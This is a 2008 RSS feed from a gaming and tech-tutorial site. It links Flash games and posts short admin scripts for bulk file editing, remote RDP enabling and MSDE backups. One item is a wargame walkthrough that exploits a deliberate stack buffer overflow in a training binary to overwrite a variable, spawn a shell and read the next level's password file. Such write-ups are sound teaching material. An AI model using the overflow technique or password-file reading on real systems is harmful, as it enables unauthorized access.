<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>TAZ: TheTAZZone Network</title>
	<atom:link href="http://www.thetazzone.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thetazzone.com</link>
	<description>960 Ad-Free Games, Games, Security and Computer Tutorials/Videos, Active Tech Community Forum, IRC Chat...</description>
	<pubDate>Sat, 23 Aug 2008 13:23:58 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>Astronaut Smack</title>
		<link>http://www.thetazzone.com/astronaut-smack/</link>
		<comments>http://www.thetazzone.com/astronaut-smack/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 13:23:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[feature games]]></category>

		<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=240</guid>
		<description><![CDATA[Astronaut Smack

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.thetazzone.com/wp-content/astronautsmackgame.swf">Astronaut Smack</a></p>
<p><a href="http://www.thetazzone.com/wp-content/asstro.jpg"><img class="alignnone size-full wp-image-238" title="asstro" src="http://www.thetazzone.com/wp-content/asstro.jpg" alt="" width="450" height="242" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/astronaut-smack/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Drunk Blackjack</title>
		<link>http://www.thetazzone.com/drunk-blackjack/</link>
		<comments>http://www.thetazzone.com/drunk-blackjack/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 13:22:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[feature games]]></category>

		<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=236</guid>
		<description><![CDATA[Drunk Blackjack

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.thetazzone.com/wp-content/drunkblackjack.swf">Drunk Blackjack</a></p>
<p><a href="http://www.thetazzone.com/wp-content/dru.jpg"><img class="alignnone size-full wp-image-237" title="dru" src="http://www.thetazzone.com/wp-content/dru.jpg" alt="" width="450" height="328" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/drunk-blackjack/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zombie Survival Quiz</title>
		<link>http://www.thetazzone.com/zombie-survival-quiz/</link>
		<comments>http://www.thetazzone.com/zombie-survival-quiz/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 13:20:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[quizes]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=233</guid>
		<description><![CDATA[Zombie Survival Quiz

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.thetazzone.com/wp-content/zombiesurvivalquiz.swf">Zombie Survival Quiz</a></p>
<p><a href="http://www.thetazzone.com/wp-content/zom.gif"><img class="alignnone size-medium wp-image-232" title="zom" src="http://www.thetazzone.com/wp-content/zom-300x216.gif" alt="" width="300" height="216" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/zombie-survival-quiz/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fleabag vs Mutt</title>
		<link>http://www.thetazzone.com/fleabag-vs-mutt/</link>
		<comments>http://www.thetazzone.com/fleabag-vs-mutt/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 12:40:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[feature games]]></category>

		<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=230</guid>
		<description><![CDATA[Fleabag Mutt

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.thetazzone.com/wp-content/fleabagmutt.swf">Fleabag Mutt</a></p>
<p><a href="http://www.thetazzone.com/wp-content/screenshot083.jpg"><img class="alignnone size-medium wp-image-228" title="screenshot083" src="http://www.thetazzone.com/wp-content/screenshot083-300x198.jpg" alt="" width="300" height="198" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/fleabag-vs-mutt/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Site Placements</title>
		<link>http://www.thetazzone.com/site-placements/</link>
		<comments>http://www.thetazzone.com/site-placements/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 22:46:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[site rankings]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=165</guid>
		<description><![CDATA[The Mixed Martial Arts Arena: The sport of the 21st Century coming &#8230;
Sports trivia, history, and interesting tidbits to please and apease both the sports enthuisiast and the hardcore participant!
mixedmartialarts.thetazzone.com/ 
22 of 2,320,000
The Nature Zone: Pristine, enlightening, relaxing nature, a nice &#8230;
The Animal Den · The Space Zone · The Marine Zone · The Cat [...]]]></description>
			<content:encoded><![CDATA[<h2 class="r"><a class="l" onmousedown="return clk(this.href,'','','res','22','')" href="http://mixedmartialarts.thetazzone.com/"><strong>The Mixed Martial Arts Arena</strong>: The sport of the 21st Century coming <strong>&#8230;</strong></a></h2>
<p>Sports trivia, history, and interesting tidbits to please and apease both the sports enthuisiast and the hardcore participant!<br />
<span class="a"><strong>mixed</strong><strong>martial</strong><strong>arts</strong>.thetazzone.com/ </span></p>
<p>22 of <span><strong>2,320,000</strong></span></p>
<h2 class="r"><a class="l" onmousedown="return clk(this.href,'','','res','8','')" href="http://www.nature.thetazzone.com/"><strong>The Nature Zone</strong>: Pristine, enlightening, relaxing <strong>nature</strong>, a nice <strong>&#8230;</strong></a></h2>
<p>The Animal Den · The Space <strong>Zone</strong> · The Marine <strong>Zone</strong> · The Cat <strong>Zone</strong> · The Dog <strong>Zone</strong> <strong>&#8230;</strong> I think everyone likes cool <strong>nature</strong> pictures, it brings back the basic <strong>&#8230;</strong><br />
<span class="a">www.<strong>nature</strong>.thetaz<strong>zone</strong>.com/</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/site-placements/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dynasty Street</title>
		<link>http://www.thetazzone.com/dynasty-street/</link>
		<comments>http://www.thetazzone.com/dynasty-street/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 22:44:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[feature games]]></category>

		<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=188</guid>
		<description><![CDATA[Dynasty Street

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.thetazzone.com/wp-content/dynastystreet2.swf">Dynasty Street</a></p>
<p><a href="http://www.thetazzone.com/wp-content/screenshot0911.jpg"><img class="alignnone size-full wp-image-187" title="screenshot0911" src="http://www.thetazzone.com/wp-content/screenshot0911.jpg" alt="" width="450" height="324" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/dynasty-street/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Intruded.net - Narnia - Level1 Solution</title>
		<link>http://www.thetazzone.com/intrudednet-narnia-level1-solution/</link>
		<comments>http://www.thetazzone.com/intrudednet-narnia-level1-solution/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 22:41:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[security tutorials]]></category>

		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=222</guid>
		<description><![CDATA[TUTORIAL BY OUTERLIMIT FOR THETAZZONE/TAZFORUM
This is related to the wargames Harry posted&#8230;
It is for the server narnia. http://www.intruded.net/narnia.html
The objective on this box is to look at the source code to the program for the level you are on, and find a way to exploit or accomplish what it asks.
This is my solution and explanation of [...]]]></description>
			<content:encoded><![CDATA[<p>TUTORIAL BY OUTERLIMIT FOR THETAZZONE/TAZFORUM</p>
<p>This is related to the wargames Harry posted&#8230;<br />
It is for the server narnia. http://www.intruded.net/narnia.html<br />
The objective on this box is to look at the source code to the program for the level you are on, and find a way to exploit or accomplish what it asks.</p>
<p>This is my solution and explanation of level1.</p>
<p>Once you login:<br />
cd /wargame</p>
<p>The program you are trying to use is level1, the source code is level1.c</p>
<p>Code:<br />
int main(){<br />
long val=0&#215;41414141;<br />
char buf[20];</p>
<p>printf(&#8221;Correct val&#8217;s value from 0&#215;41414141 -&gt; 0xdeadbeef!\n&#8221;);<br />
printf(&#8221;Here is your chance: &#8220;);<br />
scanf(&#8221;%24s&#8221;,&amp;buf);</p>
<p>printf(&#8221;buf: %s\n&#8221;,buf);<br />
printf(&#8221;val: 0x%08x\n&#8221;,val);</p>
<p>if(val==0xdeadbeef){<br />
seteuid(1002);<br />
system(&#8221;/bin/sh&#8221;);<br />
} else {<br />
printf(&#8221;WAY OFF!!!!\n&#8221;);<br />
exit(1);<br />
}</p>
<p>return 0;<br />
}</p>
<p>Looking at this code, they want you to change vals value from 0&#215;41414141 to 0xdeadbeef.<br />
Also if you notice, it prompts you for input and stores it into the variable buf. And then prints out val&#8230;<br />
The variable buf is declared as an array with 20 elements, and since there is nothing checking the size of the input, it allows for a buffer overflow.</p>
<p>You can play around with this by entering inputs of varying lengths.<br />
You should notice that anything less than 20 characters does not effect the value of val, but if you input something more than 20 characters, the value of val changes.</p>
<p>This is how you are going to accomplish changing the value to 0xdeadbeef.</p>
<p>You can figure out how what you enter effects the value by entering in 000000000000000000000 (21 0&#8217;s).<br />
Your output becomes 0&#215;41410030<br />
By inputting 20 0&#8217;s followed by a single different character you can see how the value changes.<br />
Closer inspection shows that the last two digits is the ascii value of the key you entered.</p>
<p>So basically what you have to do is enter in 20 0&#8217;s, and then whatever makes ascii values you need&#8230;<br />
If you look at an ascii table, these are not standard letters on your keyboard&#8230; Some of them aren&#8217;t even documented.</p>
<p>So what I did was wrote a C++ program to print out each character for me&#8230;<br />
Code:<br />
#include<br />
using namespace std;</p>
<p>int main(int argc, char* argv[])<br />
{<br />
unsigned long target = 0xdeadbeef;<br />
char *p = (char *) &amp;target;<br />
for (int i = 0; i &lt; 4; i++) {<br />
cout &lt;&lt; p[i];<br />
}<br />
return 0;<br />
}</p>
<p>This program will print out the characters you need to use after the 20 0&#8217;s in order to pass the level and replace val with 0xdeadbeef.</p>
<p>In order to get the 4 characters we need, we use a char pointer. A char is stored as 1 byte in memory. 0xdeadbeef is 4 stored as 4 consecutive bytes.<br />
We need the char pointer to point to the first byte of 0xdeadbeef.<br />
This is done by setting our pointer equal to the address of target&#8230;<br />
Code:<br />
char *p = &amp;target;</p>
<p>However, the compiler does not like that because target is a long integer, not a character.<br />
So we must type cast the address of target to that of a char<br />
[code] char *p = (char *) &amp;target;<br />
Now, p points to the beginning of target&#8230; we know that it is 4 bytes long, so we need to print 4 characters.<br />
C++ will let you use a pointer as an array, each next element of the array increases the address it points to by the size of the pointer.<br />
In the case of a char pointer, it increments by 1 byte each time.</p>
<p>So following the for loop we will print p[0], p[1], p[2], p[3].<br />
Those are the 4 characters needed in the first program to set val equal to 0xdeadbeef.</p>
<p>In order to run the program you can do this:<br />
Copy the code<br />
type this: cat &gt; /tmp/lvl1.cpp<br />
Paste the code<br />
Press cntrl D<br />
type this: g++ -o /tmp/lvl1 /tmp/lvl1.cpp<br />
chmod +x /tmp/lvl1<br />
/tmp/lvl1</p>
<p>Now copy the 4 characters</p>
<p>then run /wargame/level1<br />
type in 20 0&#8217;s, and paste those characters.</p>
<p>Now you should have a new shell as level2<br />
cat /home/level2/.passwd</p>
<p>Continue on to level2</p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/intrudednet-narnia-level1-solution/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Editing multiple files with one script</title>
		<link>http://www.thetazzone.com/editing-multiple-files-with-one-script/</link>
		<comments>http://www.thetazzone.com/editing-multiple-files-with-one-script/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 22:25:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=227</guid>
		<description><![CDATA[ORIGINALLY POSTED BY OPUS FOR THETAZZONE/TAZFORUM HERE
Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to [...]]]></description>
			<content:encoded><![CDATA[<p>ORIGINALLY POSTED BY OPUS FOR THETAZZONE/TAZFORUM <a href="http://tazforum.thetazzone.com/viewtopic.php?t=7321">HERE</a></p>
<p>Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to use, retain, and publish submitted work within it’s Network</p>
<p><span class="postbody">I wrote some code a few years back, basically it was channel services for IRC. It has about 96 .c files that are compiled into a single binary. Each file contains copyright info at the top, so rather than edit each file one at a time to modify the copyright each year, I wrote a script to do it for me.</span></p>
<table border="0" cellspacing="1" cellpadding="3" width="90%" align="center">
<tbody>
<tr>
<td><span class="genmed"><strong>Code:</strong></span></td>
</tr>
<tr>
<td class="code">#!/bin/sh<br />
for x in *.c<br />
do<br />
echo $x<br />
ed -s $x &lt;&lt; end<br />
g/some string/s//to some other string/g<br />
w<br />
q<br />
end<br />
done</td>
</tr>
</tbody>
</table>
<p>Of course you can modify it to suit your need to edit other type files.  The key being each file contains &#8220;some string&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/editing-multiple-files-with-one-script/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Powershell</title>
		<link>http://www.thetazzone.com/powershell/</link>
		<comments>http://www.thetazzone.com/powershell/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 21:52:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=226</guid>
		<description><![CDATA[ORIGINALLY POSTED BY TALEN FOR THETAZZONE/TAZFORUM HERE
Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to [...]]]></description>
			<content:encoded><![CDATA[<p>ORIGINALLY POSTED BY TALEN FOR THETAZZONE/TAZFORUM <a href="http://tazforum.thetazzone.com/viewtopic.php?t=7312">HERE</a></p>
<p>Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to use, retain, and publish submitted work within it’s Network.</p>
<p><span class="postbody">Here&#8217;s a pair of commands that will enable RDP on a remote workstation. The caveat is you have to run PowerShell.exe using your administrative credentials. You can use the –credential option on the first command, but not on the second (which is a drag).<br />
</span></p>
<table border="0" cellspacing="1" cellpadding="3" width="90%" align="center">
<tbody>
<tr>
<td><span class="genmed"><strong>Code:</strong></span></td>
</tr>
<tr>
<td class="code">$Terminal = Get-WMIObject Win32_TerminalServiceSetting -computer &lt;computerName&gt;<br />
$Terminal.SetAllowTSConnections(1)</td>
</tr>
</tbody>
</table>
<p><span class="postbody"><br />
This only works for Windows XP (and 2000), not for Vista. Which isn&#8217;t to say you can&#8217;t do the same for Vista, but since the security on RDP 6.0 is different, it&#8217;s a little more involved. I&#8217;ll dig it up and post it sometime&#8230;</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/powershell/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Use an OSQL command from the command line to create a backup of the database while it&#8217;s mounted and running</title>
		<link>http://www.thetazzone.com/use-an-osql-command-from-the-command-line-to-create-a-backup-of-the-database-while-its-mounted-and-running/</link>
		<comments>http://www.thetazzone.com/use-an-osql-command-from-the-command-line-to-create-a-backup-of-the-database-while-its-mounted-and-running/#comments</comments>
		<pubDate>Wed, 13 Aug 2008 23:47:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://www.thetazzone.com/?p=225</guid>
		<description><![CDATA[ORIGINALLY POSTED BY TALEN FOR THETAZZONE/TAZFORUM HERE
Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to [...]]]></description>
			<content:encoded><![CDATA[<p>ORIGINALLY POSTED BY TALEN FOR THETAZZONE/TAZFORUM <a href="http://tazforum.thetazzone.com/viewtopic.php?t=7310">HERE</a></p>
<p>Do not use, republish, in whole or in part, without the consent of the Author. TheTAZZone policy is that Authors retain the rights to the work they submit and/or post…we do not sell, publish, transmit, or have the right to give permission for such…TheTAZZone merely retains the right to use, retain, and publish submitted work within it’s Network.</p>
<p><span class="postbody">How many servers do you have running applications that make use of MSDE 2000? You know you should be backing up the database files, but you can&#8217;t quite justify the extra cost of a SQL agent for your backup software. I&#8217;ve come across the situation more than once. Did you know you can use an OSQL command from the command line to create a backup of the database while it&#8217;s mounted and running? This command will create a .bak file that you can backup using a regular backup agent, no SQL agent required. I wrote a script that would run the command, and then simply used the Windows Task Scheduler to run the script once a day. The .bak file is overwritten each time, and our Backup Exec server maintains the archival copies. Here&#8217;s the script:<br />
</span></p>
<table border="0" cellspacing="1" cellpadding="3" width="90%" align="center">
<tbody>
<tr>
<td><span class="genmed"><strong>Code:</strong></span></td>
</tr>
<tr>
<td class="code">Option Explicit</p>
<p>Dim objShell<br />
Dim strOSQL<br />
&#8216;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Set objShell = CreateObject(&#8221;WScript.Shell&#8221;)</p>
<p>strOSQL = &#8220;&#8221;"C:\Program Files\Microsoft SQL Server\80\Tools\Binn\OSQL.EXE&#8221;" -U &lt;username&gt; -P &lt;password&gt; -n -Q &#8220;&#8221;BACKUP DATABASE &lt;database&gt; TO DISK = &#8216;X:\&lt;filename&gt;&#8217; WITH INIT,SKIP&#8221;"&#8221;<br />
&#8216;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
objShell.Run strOSQL, 1, True</td>
</tr>
</tbody>
</table>
<p><span class="postbody"><br />
Bear in mind that line 8, the line beginning with &#8220;strOSQL&#8221;, is one command on one line. If you want your script to wrap for readability, break up the command where you see fit.</span></p>
<p>You&#8217;ll also want to adjust the backup path defined in the OSQL command, &#8216;X:\&lt;filename&gt;&#8217; in the example, to fit your server/network as well. If you want to back it up to a networked drive, make sure the drive is already mapped locally, I haven&#8217;t tested this using a UNC path.</p>
<p>Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thetazzone.com/use-an-osql-command-from-the-command-line-to-create-a-backup-of-the-database-while-its-mounted-and-running/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
